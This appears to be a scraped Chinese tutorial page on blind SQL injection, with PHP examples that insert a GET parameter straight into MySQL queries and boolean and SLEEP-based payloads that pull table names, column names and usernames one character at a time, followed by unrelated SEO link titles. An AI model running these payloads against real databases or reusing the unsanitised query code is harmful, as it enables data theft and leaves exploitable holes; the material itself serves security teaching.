当前位置: 首页 > wzjs >正文

医院网站建设情况说明厦门人才网个人会员

医院网站建设情况说明,厦门人才网个人会员,做五金生意什么网站做比较好,日文网站建站2. 布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如页面内容、HTTP 状态码等&#xff09;来判断查询条件是否为真。 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password; // 创建数据库连接 $conn new mysqli($ho…

2. 布尔盲注
布尔盲注是通过观察应用程序的响应(如页面内容、HTTP 状态码等)来判断查询条件是否为真。

<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';

// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";
$result = $conn->query($query);

// 根据查询结果返回不同响应
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}

// 关闭连接
$conn->close();
?>

布尔盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

2. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。
php
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 记录开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 记录结束时间

// 计算查询耗时
$query_time = $end_time - $start_time;

// 根据查询时间判断结果
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}

// 关闭连接
$conn->close();
?>
 

时间盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)
 

---

3. 获取表名、列名和数据的完整流程
以下是结合布尔盲注和时间盲注的完整流程,用于获取数据库的表名、列名和数据。
步骤 1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97
  

步骤 2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
  

步骤 3:获取数据

使用布尔盲注或时间盲注,逐个字符推断数据。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97

http://www.dtcms.com/wzjs/188523.html

相关文章:

  • 澳门网站建设公司哪里有营销策划培训班
  • 网站建设维护的相关基础知识青岛网站建设维护
  • 南京建站在线咨询大数据营销系统怎么样
  • wordpress 中文安装站长工具seo综合查询工具
  • 个人网站特点营销软文范例大全300字
  • 动态网站整站源码下载器杭州专业seo服务公司
  • 网站开发功能模板百度直播推广
  • 建设局电话苏州吴中区seo关键词优化排名
  • 厦门网页制作设计营销seo排名培训
  • 红和蓝的企业网站设计矿坛器材友情交换
  • 夸克建站系统源码下载如何让百度收录自己信息
  • 网站综合查询工具合肥全网推广
  • 搜狐快站做网站教程app拉新项目
  • 中国物流网官方网站公司宣传网站制作
  • 做动态网站广州网站优化公司如何
  • 资阳aso优化招聘余姚关键词优化公司
  • 有没有专门做数据分析的网站seo网站优化快速排名软件
  • 商业网站建设平台电商培训内容有哪些
  • 如何利用问答类网站做推广最近的国际新闻
  • 学做网站多少钱网络搜索关键词
  • jsp网站项目搜外网 seo教程
  • 怎样让网站显示网站建设中百度账号客服人工电话
  • 创意礼品私人定制seo整站优化方案
  • 怎么做淘宝客优惠券网站广州网站seo推广
  • 外卖网站建设文档推广项目的平台
  • 在360网站上怎么做推广站长工具关键词
  • 佛山网站开发公司手机端关键词排名优化软件
  • 网站怎么做引流新平台推广赚钱
  • 厦门网站建设阿里爱站关键词
  • 河南网站备案地址网上销售平台怎么做